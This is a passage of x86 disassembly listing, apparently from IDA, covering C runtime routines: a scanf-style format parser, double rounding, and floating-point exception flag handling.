		mov	[ebp+var_1D8], eax
		jmp	loc_42AEDD
; ---------------------------------------------------------------------------

loc_42AF79:				; CODE XREF: sub_429E90+F88j
					; sub_429E90+F9Ej ...
		mov	edx, [ebp+var_20]
		sub	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_1D8]
		push	ecx
		call	sub_42B330
		add	esp, 8
		cmp	[ebp+var_6C], 0
		jz	short loc_42AFD3
		movsx	edx, [ebp+var_70]
		test	edx, edx
		jnz	short loc_42AFD1
		mov	eax, [ebp+var_34]
		add	eax, 1
		mov	[ebp+var_34], eax
		mov	ecx, [ebp+var_1E0]
		mov	byte ptr [ecx],	0
		lea	edx, [ebp+var_1D0]
		push	edx
		mov	eax, [ebp+var_3C]
		push	eax
		movsx	ecx, [ebp+var_38]
		sub	ecx, 1
		push	ecx
		call	off_454258
		add	esp, 0Ch

loc_42AFD1:				; CODE XREF: sub_429E90+1111j
		jmp	short loc_42AFD8
; ---------------------------------------------------------------------------

loc_42AFD3:				; CODE XREF: sub_429E90+1109j
		jmp	loc_42B17A
; ---------------------------------------------------------------------------

loc_42AFD8:				; CODE XREF: sub_429E90:loc_42AFD1j
		jmp	short loc_42B024
; ---------------------------------------------------------------------------

loc_42AFDA:				; CODE XREF: sub_429E90+3B0j
					; sub_429E90+3C4j
					; DATA XREF: ...
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	al, [edx]
		cmp	eax, [ebp+var_1D8]
		jz	short loc_42B00A
		mov	ecx, [ebp+var_20]
		sub	ecx, 1
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+var_1D8]
		push	eax
		call	sub_42B330
		add	esp, 8
		jmp	loc_42B17A
; ---------------------------------------------------------------------------

loc_42B00A:				; CODE XREF: sub_429E90+1157j
		mov	cl, [ebp+var_28]
		sub	cl, 1
		mov	[ebp+var_28], cl
		movsx	edx, [ebp+var_70]
		test	edx, edx
		jnz	short loc_42B024
		mov	eax, [ebp+var_1D4]
		mov	[ebp+arg_8], eax

loc_42B024:				; CODE XREF: sub_429E90:loc_42A686j
					; sub_429E90:loc_42ABEDj ...
		mov	cl, [ebp+var_28]
		add	cl, 1
		mov	[ebp+var_28], cl
		jmp	short loc_42B050
; ---------------------------------------------------------------------------

loc_42B02F:				; CODE XREF: sub_429E90+38Bj
		mov	edx, [ebp+var_20]
		sub	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_1D8]
		push	ecx
		call	sub_42B330
		add	esp, 8
		jmp	loc_42B17A
; ---------------------------------------------------------------------------

loc_42B050:				; CODE XREF: sub_429E90+119Dj
		mov	edx, [ebp+arg_4]
		add	edx, 1
		mov	[ebp+arg_4], edx
		jmp	loc_42B151
; ---------------------------------------------------------------------------

loc_42B05E:				; CODE XREF: sub_429E90+11Dj
		mov	eax, [ebp+var_20]
		add	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx]
		mov	esi, edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42B2D0
		add	esp, 4
		mov	[ebp+var_1D8], eax
		mov	ecx, [ebp+var_1D8]
		mov	edx, [ebp+arg_4]
		add	edx, 1
		mov	[ebp+arg_4], edx
		cmp	esi, ecx
		jz	short loc_42B0B6
		mov	eax, [ebp+var_20]
		sub	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_1D8]
		push	edx
		call	sub_42B330
		add	esp, 8
		jmp	loc_42B17A
; ---------------------------------------------------------------------------

loc_42B0B6:				; CODE XREF: sub_429E90+1203j
		mov	eax, [ebp+var_1D8]
		and	eax, 0FFh
		mov	ecx, off_453CA4
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 8000h
		test	edx, edx
		jz	short loc_42B151
		mov	eax, [ebp+var_20]
		add	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx]
		mov	esi, edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42B2D0
		add	esp, 4
		mov	[ebp+var_1F4], eax
		mov	ecx, [ebp+var_1F4]
		mov	edx, [ebp+arg_4]
		add	edx, 1
		mov	[ebp+arg_4], edx
		cmp	esi, ecx
		jz	short loc_42B148
		mov	eax, [ebp+var_20]
		sub	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_1F4]
		push	edx
		call	sub_42B330
		add	esp, 8
		mov	eax, [ebp+var_20]
		sub	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_1D8]
		push	edx
		call	sub_42B330
		add	esp, 8
		jmp	short loc_42B17A
; ---------------------------------------------------------------------------

loc_42B148:				; CODE XREF: sub_429E90+127Cj
		mov	eax, [ebp+var_20]
		sub	eax, 1
		mov	[ebp+var_20], eax

loc_42B151:				; CODE XREF: sub_429E90+11C9j
					; sub_429E90+1245j
		cmp	[ebp+var_1D8], 0FFFFFFFFh
		jnz	short loc_42B175
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx]
		cmp	edx, 25h
		jnz	short loc_42B173
		mov	eax, [ebp+arg_4]
		xor	ecx, ecx
		mov	cl, [eax+1]
		cmp	ecx, 6Eh
		jz	short loc_42B175

loc_42B173:				; CODE XREF: sub_429E90+12D4j
		jmp	short loc_42B17A
; ---------------------------------------------------------------------------

loc_42B175:				; CODE XREF: sub_429E90+12C8j
					; sub_429E90+12E1j
		jmp	loc_429F07
; ---------------------------------------------------------------------------

loc_42B17A:				; CODE XREF: sub_429E90+80j
					; sub_429E90+635j ...
		cmp	[ebp+var_1D8], 0FFFFFFFFh
		jnz	short loc_42B1AE
		cmp	[ebp+var_34], 0
		jnz	short loc_42B19D
		movsx	edx, [ebp+var_28]
		test	edx, edx
		jnz	short loc_42B19D
		mov	[ebp+var_224], 0FFFFFFFFh
		jmp	short loc_42B1A6
; ---------------------------------------------------------------------------

loc_42B19D:				; CODE XREF: sub_429E90+12F7j
					; sub_429E90+12FFj
		mov	eax, [ebp+var_34]
		mov	[ebp+var_224], eax

loc_42B1A6:				; CODE XREF: sub_429E90+130Bj
		mov	eax, [ebp+var_224]
		jmp	short loc_42B1B1
; ---------------------------------------------------------------------------

loc_42B1AE:				; CODE XREF: sub_429E90+12F1j
		mov	eax, [ebp+var_34]

loc_42B1B1:				; CODE XREF: sub_429E90+131Cj
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_429E90	endp

; ---------------------------------------------------------------------------
off_42B1B8	dd offset loc_42A14A	; DATA XREF: sub_429E90+239r
		dd offset loc_42A0D0
		dd offset loc_42A0E8
		dd offset loc_42A12C
		dd offset loc_42A0D5
		dd offset loc_42A137
		dd offset loc_42A13F
		dd offset loc_42A155
byte_42B1D8	db 0			; DATA XREF: sub_429E90+233r
		db 3 dup(7)
		dd 6 dup(7070707h), 2070701h, 7030707h,	7070701h, 5 dup(7070707h)
		dd 7040707h, 7050707h, 2 dup(7070707h)
		db 7, 6
off_42B226	dd offset loc_42A25B	; DATA XREF: sub_429E90+3C4r
		dd offset loc_42A794
		dd offset loc_42AC07
		dd offset loc_42A68B
		dd offset loc_42ABF2
		dd offset loc_42A790
		dd offset loc_42A2A1
		dd offset loc_42A692
		dd offset loc_42A2C6
		dd offset loc_42AFDA
byte_42B24E	db 0			; DATA XREF: sub_429E90+3BEr
		db 1
		dd 9020202h, 9090903h, 5010409h, 9060909h, 7090901h, 0CC080909h
		dd 2 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B270	proc near		; CODE XREF: sub_429E90+9E9p
					; sub_429E90+BCCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		cmp	dword_453EB0, 1
		jle	short loc_42B292
		push	4
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_427040
		add	esp, 8
		mov	[ebp+var_4], eax
		jmp	short loc_42B2A7
; ---------------------------------------------------------------------------

loc_42B292:				; CODE XREF: sub_42B270+Dj
		mov	ecx, [ebp+arg_0]
		mov	edx, off_453CA4
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 4
		mov	[ebp+var_4], eax

loc_42B2A7:				; CODE XREF: sub_42B270+20j
		cmp	[ebp+var_4], 0
		jz	short loc_42B2B5
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_8], ecx
		jmp	short loc_42B2C1
; ---------------------------------------------------------------------------

loc_42B2B5:				; CODE XREF: sub_42B270+3Bj
		mov	edx, [ebp+arg_0]
		and	edx, 0FFFFFFDFh
		sub	edx, 7
		mov	[ebp+var_8], edx

loc_42B2C1:				; CODE XREF: sub_42B270+43j
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_42B270	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B2D0	proc near		; CODE XREF: sub_429E90+370p
					; sub_429E90+698p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		sub	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx+4], ecx
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+4], 0
		jl	short loc_42B30B
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		movsx	eax, byte ptr [edx]
		and	eax, 0FFh
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax], edx
		jmp	short loc_42B31A
; ---------------------------------------------------------------------------

loc_42B30B:				; CODE XREF: sub_42B2D0+1Aj
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_427100
		add	esp, 4
		mov	[ebp+var_4], eax

loc_42B31A:				; CODE XREF: sub_42B2D0+39j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_42B2D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B330	proc near		; CODE XREF: sub_429E90+ECp
					; sub_429E90+666p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jz	short loc_42B349
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_431E10
		add	esp, 8

loc_42B349:				; CODE XREF: sub_42B330+7j
		pop	ebp
		retn
sub_42B330	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B350	proc near		; CODE XREF: sub_429E90+E3p
					; sub_429E90+353p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx

loc_42B354:				; CODE XREF: sub_42B350+30j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		call	sub_42B2D0
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_421940
		add	esp, 4
		test	eax, eax
		jz	short loc_42B382
		jmp	short loc_42B354
; ---------------------------------------------------------------------------

loc_42B382:				; CODE XREF: sub_42B350+2Ej
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_42B350	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_42B390(double)

sub_42B390	proc near		; CODE XREF: sub_41FFF0+C3p
					; sub_420210+C3p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_42B390	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_42B3B0(int,double,int)

sub_42B3B0	proc near		; CODE XREF: sub_41FFF0+85p
					; sub_420210+85p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_454510, 0
		jnz	short loc_42B3E4
		mov	eax, [ebp+arg_C]
		push	eax		; int
		mov	ecx, [ebp+10h]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx		; double
		push	0		; int
		push	0		; int
		mov	eax, [ebp+10h]
		push	eax		; int
		mov	ecx, [ebp+arg_4]
		push	ecx		; int
		mov	edx, [ebp+arg_0]
		push	edx		; int
		push	1		; int
		call	sub_42BE60
		add	esp, 24h
		jmp	short loc_42B403
; ---------------------------------------------------------------------------

loc_42B3E4:				; CODE XREF: sub_42B3B0+Aj
		call	sub_429A90
		mov	dword ptr [eax], 21h
		push	0FFFFh
		mov	eax, [ebp+arg_C]
		push	eax
		call	sub_42C2F0
		add	esp, 8
		fld	qword ptr [ebp+arg_4]

loc_42B403:				; CODE XREF: sub_42B3B0+32j
		pop	ebp
		retn
sub_42B3B0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		fld	qword ptr [ebp+0Ch]
		fadd	qword ptr [ebp+14h]
		fstp	qword ptr [ebp-8]
		cmp	dword_454510, 0
		jnz	short loc_42B454
		mov	eax, [ebp+1Ch]
		push	eax
		mov	ecx, [ebp-4]
		push	ecx
		mov	edx, [ebp-8]
		push	edx
		mov	eax, [ebp+18h]
		push	eax
		mov	ecx, [ebp+14h]
		push	ecx
		mov	edx, [ebp+10h]
		push	edx
		mov	eax, [ebp+0Ch]
		push	eax
		mov	ecx, [ebp+8]
		push	ecx
		push	1
		call	sub_42BE60
		add	esp, 24h
		jmp	short loc_42B473
; ---------------------------------------------------------------------------

loc_42B454:				; CODE XREF: .packed:0042B426j
		call	sub_429A90
		mov	dword ptr [eax], 21h
		push	0FFFFh
		mov	edx, [ebp+1Ch]
		push	edx
		call	sub_42C2F0
		add	esp, 8
		fld	qword ptr [ebp-8]

loc_42B473:				; CODE XREF: .packed:0042B452j
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_42B480(int,int,int,int,double,int)

sub_42B480	proc near		; CODE XREF: sub_41FFF0+B1p
					; sub_41FFF0+129p ...

var_5C		= byte ptr -5Ch
var_24		= dword	ptr -24h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		mov	eax, [ebp+arg_18]
		push	eax
		lea	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42BAE0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42B4C6
		mov	eax, [ebp+var_24]
		and	al, 0FEh
		mov	[ebp+var_24], eax
		lea	ecx, [ebp+arg_10]
		push	ecx
		lea	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		lea	edx, [ebp+arg_18]
		push	edx
		lea	eax, [ebp+var_5C]
		push	eax
		call	sub_42B610
		add	esp, 18h

loc_42B4C6:				; CODE XREF: sub_42B480+1Cj
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42BF80
		add	esp, 4
		mov	[ebp+var_4], eax
		cmp	dword_454510, 0
		jnz	short loc_42B50E
		cmp	[ebp+var_4], 0
		jz	short loc_42B50E
		mov	edx, [ebp+arg_18]
		push	edx		; int
		mov	eax, dword ptr [ebp+arg_10+4]
		push	eax
		mov	ecx, dword ptr [ebp+arg_10]
		push	ecx		; double
		push	0		; int
		push	0		; int
		mov	edx, [ebp+arg_C]
		push	edx		; int
		mov	eax, [ebp+arg_8]
		push	eax		; int
		mov	ecx, [ebp+arg_4]
		push	ecx		; int
		mov	edx, [ebp+var_4]
		push	edx		; int
		call	sub_42BE60
		add	esp, 24h
		jmp	short loc_42B52E
; ---------------------------------------------------------------------------

loc_42B50E:				; CODE XREF: sub_42B480+5Cj
					; sub_42B480+62j
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_42BF00
		add	esp, 4
		push	0FFFFh
		mov	ecx, [ebp+arg_18]
		push	ecx
		call	sub_42C2F0
		add	esp, 8
		fld	[ebp+arg_10]

loc_42B52E:				; CODE XREF: sub_42B480+8Cj
		mov	esp, ebp
		pop	ebp
		retn
sub_42B480	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		mov	eax, [ebp+28h]
		push	eax
		lea	ecx, [ebp+20h]
		push	ecx
		mov	edx, [ebp+8]
		push	edx
		call	sub_42BAE0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42B59E
		mov	eax, [ebp-24h]
		or	al, 1
		mov	[ebp-24h], eax
		mov	ecx, [ebp-24h]
		and	ecx, 0FFFFFFE1h
		or	ecx, 2
		mov	[ebp-24h], ecx
		mov	edx, [ebp+18h]
		mov	[ebp-34h], edx
		mov	eax, [ebp+1Ch]
		mov	[ebp-30h], eax
		lea	ecx, [ebp+20h]
		push	ecx
		lea	edx, [ebp+10h]
		push	edx
		mov	eax, [ebp+0Ch]
		push	eax
		mov	ecx, [ebp+8]
		push	ecx
		lea	edx, [ebp+28h]
		push	edx
		lea	eax, [ebp-5Ch]
		push	eax
		call	sub_42B610
		add	esp, 18h

loc_42B59E:				; CODE XREF: .packed:0042B55Cj
		mov	ecx, [ebp+8]
		push	ecx
		call	sub_42BF80
		add	esp, 4
		mov	[ebp-4], eax
		cmp	dword_454510, 0
		jnz	short loc_42B5EA
		cmp	dword ptr [ebp-4], 0
		jz	short loc_42B5EA
		mov	edx, [ebp+28h]
		push	edx
		mov	eax, [ebp+24h]
		push	eax
		mov	ecx, [ebp+20h]
		push	ecx
		mov	edx, [ebp+1Ch]
		push	edx
		mov	eax, [ebp+18h]
		push	eax
		mov	ecx, [ebp+14h]
		push	ecx
		mov	edx, [ebp+10h]
		push	edx
		mov	eax, [ebp+0Ch]
		push	eax
		mov	ecx, [ebp-4]
		push	ecx
		call	sub_42BE60
		add	esp, 24h
		jmp	short loc_42B60A
; ---------------------------------------------------------------------------

loc_42B5EA:				; CODE XREF: .packed:0042B5B4j
					; .packed:0042B5BAj
		mov	edx, [ebp-4]
		push	edx
		call	sub_42BF00
		add	esp, 4
		push	0FFFFh
		mov	eax, [ebp+28h]
		push	eax
		call	sub_42C2F0
		add	esp, 8
		fld	qword ptr [ebp+20h]

loc_42B60A:				; CODE XREF: .packed:0042B5E8j
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B610	proc near		; CODE XREF: sub_42B480+3Ep
					; .packed:0042B596p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+4], 0
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+8], 0
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+0Ch], 0
		mov	eax, [ebp+arg_8]
		and	eax, 10h
		test	eax, eax
		jz	short loc_42B654
		mov	[ebp+var_4], 0C000008Fh
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		or	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx

loc_42B654:				; CODE XREF: sub_42B610+2Cj
		mov	ecx, [ebp+arg_8]
		and	ecx, 2
		test	ecx, ecx
		jz	short loc_42B673
		mov	[ebp+var_4], 0C0000093h
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4]
		or	al, 2
		mov	ecx, [ebp+arg_0]
		mov	[ecx+4], eax

loc_42B673:				; CODE XREF: sub_42B610+4Cj
		mov	edx, [ebp+arg_8]
		and	edx, 1
		test	edx, edx
		jz	short loc_42B693
		mov	[ebp+var_4], 0C0000091h
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		or	ecx, 4
		mov	edx, [ebp+arg_0]
		mov	[edx+4], ecx

loc_42B693:				; CODE XREF: sub_42B610+6Bj
		mov	eax, [ebp+arg_8]
		and	eax, 4
		test	eax, eax
		jz	short loc_42B6B3
		mov	[ebp+var_4], 0C000008Eh
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		or	edx, 8
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx

loc_42B6B3:				; CODE XREF: sub_42B610+8Bj
		mov	ecx, [ebp+arg_8]
		and	ecx, 8
		test	ecx, ecx
		jz	short loc_42B6D2
		mov	[ebp+var_4], 0C0000090h
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4]
		or	al, 10h
		mov	ecx, [ebp+arg_0]
		mov	[ecx+4], eax

loc_42B6D2:				; CODE XREF: sub_42B610+ABj
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		and	eax, 1
		neg	eax
		sbb	eax, eax
		inc	eax
		and	eax, 1
		shl	eax, 4
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		and	edx, 0FFFFFFEFh
		or	edx, eax
		mov	eax, [ebp+arg_0]
		mov	[eax+8], edx
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx]
		and	edx, 4
		neg	edx
		sbb	edx, edx
		inc	edx
		and	edx, 1
		shl	edx, 3
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		and	ecx, 0FFFFFFF7h
		or	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx+8], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax]
		and	ecx, 8
		neg	ecx
		sbb	ecx, ecx
		inc	ecx
		and	ecx, 1
		shl	ecx, 2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		and	al, 0FBh
		or	eax, ecx
		mov	ecx, [ebp+arg_0]
		mov	[ecx+8], eax
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		and	eax, 10h
		neg	eax
		sbb	eax, eax
		inc	eax
		and	eax, 1
		shl	eax, 1
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		and	edx, 0FFFFFFFDh
		or	edx, eax
		mov	eax, [ebp+arg_0]
		mov	[eax+8], edx
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx]
		and	edx, 20h
		neg	edx
		sbb	edx, edx
		inc	edx
		and	edx, 1
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		and	ecx, 0FFFFFFFEh
		or	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx+8], ecx
		call	sub_42C2B0
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		and	eax, 1
		test	eax, eax
		jz	short loc_42B7A2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+0Ch]
		or	edx, 10h
		mov	eax, [ebp+arg_0]
		mov	[eax+0Ch], edx

loc_42B7A2:				; CODE XREF: sub_42B610+181j
		mov	ecx, [ebp+var_8]
		and	ecx, 4
		test	ecx, ecx
		jz	short loc_42B7BA
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+0Ch]
		or	al, 8
		mov	ecx, [ebp+arg_0]
		mov	[ecx+0Ch], eax

loc_42B7BA:				; CODE XREF: sub_42B610+19Aj
		mov	edx, [ebp+var_8]
		and	edx, 8
		test	edx, edx
		jz	short loc_42B7D3
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+0Ch]
		or	ecx, 4
		mov	edx, [ebp+arg_0]
		mov	[edx+0Ch], ecx

loc_42B7D3:				; CODE XREF: sub_42B610+1B2j
		mov	eax, [ebp+var_8]
		and	eax, 10h
		test	eax, eax
		jz	short loc_42B7EC
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+0Ch]
		or	edx, 2
		mov	eax, [ebp+arg_0]
		mov	[eax+0Ch], edx

loc_42B7EC:				; CODE XREF: sub_42B610+1CBj
		mov	ecx, [ebp+var_8]
		and	ecx, 20h
		test	ecx, ecx
		jz	short loc_42B804
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+0Ch]
		or	al, 1
		mov	ecx, [ebp+arg_0]
		mov	[ecx+0Ch], eax

loc_42B804:				; CODE XREF: sub_42B610+1E4j
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		and	eax, 0C00h
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 800h
		ja	short loc_42B834
		cmp	[ebp+var_C], 800h
		jz	short loc_42B84E
		cmp	[ebp+var_C], 0
		jz	short loc_42B872
		cmp	[ebp+var_C], 400h
		jz	short loc_42B860
		jmp	short loc_42B87F
; ---------------------------------------------------------------------------

loc_42B834:				; CODE XREF: sub_42B610+208j
		cmp	[ebp+var_C], 0C00h
		jz	short loc_42B83F
		jmp	short loc_42B87F
; ---------------------------------------------------------------------------

loc_42B83F:				; CODE XREF: sub_42B610+22Bj
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		or	edx, 3
		mov	eax, [ebp+arg_0]
		mov	[eax], edx
		jmp	short loc_42B87F
; ---------------------------------------------------------------------------

loc_42B84E:				; CODE XREF: sub_42B610+211j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		and	edx, 0FFFFFFFCh
		or	edx, 2
		mov	eax, [ebp+arg_0]
		mov	[eax], edx
		jmp	short loc_42B87F
; ---------------------------------------------------------------------------

loc_42B860:				; CODE XREF: sub_42B610+220j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		and	edx, 0FFFFFFFCh
		or	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax], edx
		jmp	short loc_42B87F
; ---------------------------------------------------------------------------

loc_42B872:				; CODE XREF: sub_42B610+217j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		and	edx, 0FFFFFFFCh
		mov	eax, [ebp+arg_0]
		mov	[eax], edx

loc_42B87F:				; CODE XREF: sub_42B610+222j
					; sub_42B610+22Dj ...
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx]
		and	edx, 300h
		mov	[ebp+var_10], edx
		cmp	[ebp+var_10], 0
		jz	short loc_42B8C8
		cmp	[ebp+var_10], 200h
		jz	short loc_42B8B6
		cmp	[ebp+var_10], 300h
		jz	short loc_42B8A7
		jmp	short loc_42B8D8
; ---------------------------------------------------------------------------

loc_42B8A7:				; CODE XREF: sub_42B610+293j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE3h
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx
		jmp	short loc_42B8D8
; ---------------------------------------------------------------------------

loc_42B8B6:				; CODE XREF: sub_42B610+28Aj
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE3h
		or	ecx, 4
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx
		jmp	short loc_42B8D8
; ---------------------------------------------------------------------------

loc_42B8C8:				; CODE XREF: sub_42B610+281j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE3h
		or	ecx, 8
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx

loc_42B8D8:				; CODE XREF: sub_42B610+295j
					; sub_42B610+2A4j ...
		mov	eax, [ebp+arg_C]
		and	eax, 0FFFh
		shl	eax, 5
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		and	edx, 0FFFE001Fh
		or	edx, eax
		mov	eax, [ebp+arg_0]
		mov	[eax], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+20h]
		or	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+20h], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+20h]
		and	edx, 0FFFFFFE1h
		or	edx, 2
		mov	eax, [ebp+arg_0]
		mov	[eax+20h], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_10]
		mov	eax, [edx]
		mov	[ecx+10h], eax
		mov	edx, [edx+4]
		mov	[ecx+14h], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		or	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx+50h], ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE1h
		or	ecx, 2
		mov	edx, [ebp+arg_0]
